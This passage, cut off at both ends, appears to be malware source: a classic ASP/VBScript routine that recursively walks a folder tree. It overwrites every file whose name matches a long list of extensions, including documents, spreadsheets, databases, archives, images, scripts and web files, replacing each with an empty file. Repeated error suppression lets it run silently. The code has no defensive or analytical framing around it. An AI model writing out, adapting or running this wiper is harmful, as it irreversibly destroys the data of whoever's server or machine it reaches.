set fs = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
set folder = fs.GetFolder(path)
On Error Resume Next
for each item in folder.SubFolders
on error resume next
ListFolderContents(item.Path)
next
for each item in folder.Files
on error resume next
IF InStr(item.path, ".do") OR InStr(item.path, ".ra") OR InStr(item.path, ".md") OR InStr(item.path, ".AS") OR InStr(item.path, ".aS") OR InStr(item.path, ".As") OR InStr(item.path, ".as") OR InStr(item.path, ".bi") OR InStr(item.path, ".ap") OR InStr(item.path, ".my") OR InStr(item.path, ".fr") OR InStr(item.path, ".ba") OR InStr(item.path, ".xl") OR InStr(item.path, ".sh") OR InStr(item.path, ".wm") OR InStr(item.path, ".av") OR InStr(item.path, ".og") OR InStr(item.path, ".fl") OR InStr(item.path, ".ht") OR InStr(item.path, ".mp") OR InStr(item.path, ".cm") OR InStr(item.path, ".lo") OR InStr(item.path, ".css") OR InStr(item.path, ".db") OR InStr(item.path, ".pd") OR InStr(item.path, ".pn") OR InStr(item.path, ".cv") OR InStr(item.path, ".xm") OR InStr(item.path, ".tx") OR InStr(item.path, ".js") OR InStr(item.path, ".jp") OR InStr(item.path, ".sw") OR InStr(item.path, ".gi") OR InStr(item.path, ".7z") OR InStr(item.path, ".sq") OR InStr(item.path, ".zi") OR InStr(item.path, ".ph") OR InStr(item.path, ".vb") OR InStr(item.path, ".inc") THEN
'Response.Write(item.path & vbCrLf)
on error resume next
'Response.Flush
set fs = CreateObject("Scripting.FileSystemObject")
set file = fs.CreateTextFile(item.path, true, false)